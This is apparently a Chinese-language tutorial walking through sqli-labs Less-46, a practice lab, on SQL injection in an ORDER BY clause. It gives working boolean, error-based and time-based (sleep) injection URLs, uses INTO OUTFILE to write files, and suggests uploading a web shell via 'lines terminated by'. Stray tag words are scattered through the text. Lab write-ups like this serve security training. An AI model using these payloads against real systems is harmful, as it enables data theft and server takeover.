從本關開始,咱們開始學習order by 相關注入的知識。mysql
本關的sql語句爲$sql = "SELECT * FROM users ORDER BY $id";sql
嘗試?sort=1 desc或者asc,顯示結果不一樣,則代表能夠注入。(升序or降序排列)函數
從上述的sql語句中咱們能夠看出,咱們的注入點在order by後面的參數中,而order by不一樣於的咱們在where後的注入點,不能使用union等進行注入。如何進行order by的注入,咱們先來了解一下mysql官方select的文檔。學習
咱們可利用order by後的一些參數進行注入。3d
首先orm
(1)、order by 後的數字能夠做爲一個注入點。也就是構造order by 後的一個語句,讓該語句執行結果爲一個數,咱們嘗試blog
http://127.0.0.1/sqli-labs/Less-46/?sort=right(version(),1)圖片
沒有報錯,可是right換成left都同樣,說明數字沒有起做用,咱們考慮布爾類型。此時咱們能夠用報錯注入和延時注入。md5
此處能夠直接構造 ?sort= 後面的一個參數。此時,咱們能夠有三種形式,ci
①直接添加註入語句,?sort=(select ******)
②利用一些函數。例如rand()函數等。?sort=rand(sql語句)
Ps:此處咱們能夠展現一下rand(ture)和rand(false)的結果是不同的。
③利用and,例如?sort=1 and (加sql語句)。
同時,sql語句能夠利用報錯注入和延時注入的方式,語句咱們能夠很靈活的構造。
報錯注入例子
上述例子,能夠看到root@localhost的用戶名
接下來咱們用rand()進行演示一下,由於上面提到rand(true)和 rand(false)結果是不同的。
http://127.0.0.1/sqli-labs/Less-46/?sort=rand(ascii(left(database(),1))=115)
http://127.0.0.1/sqli-labs/Less-46/?sort=rand(ascii(left(database(),1))=116)
從上述兩個圖的結果,對比rand(ture)和rand(false)的結果,能夠看出報錯注入是成功的。
延時注入例子
http://127.0.0.1/sqllib/Less-46/?sort=1%20and%20If(ascii(substr(database(),1,1))=116,0,sleep(5))
上述兩個延時注入的例子能夠很明顯的看出時間的不一樣,這裏就不貼圖了,圖片沒法展現延時。。。
同時也能夠用?sort=1 and 後添加註入語句。這裏就不一一演示了。
利用procedure analyse參數,咱們能夠執行報錯注入。同時,在procedure analyse和order by之間能夠存在limit參數,咱們在實際應用中,每每也可能會存在limit後的注入,能夠利用procedure analyse進行注入。
如下爲示範例
http://127.0.0.1/sqllib/Less-46/?sort=1%20into%20outfile%20%22c:\\wamp\\www\\sqllib\\test1.txt%22
將查詢結果導入到文件當中
那這個時候咱們能夠考慮上傳網馬,利用lines terminated by。
Into outtfile c:\\wamp\\www\\sqllib\\test1.txt lines terminated by 0x(網馬進行16進制轉換)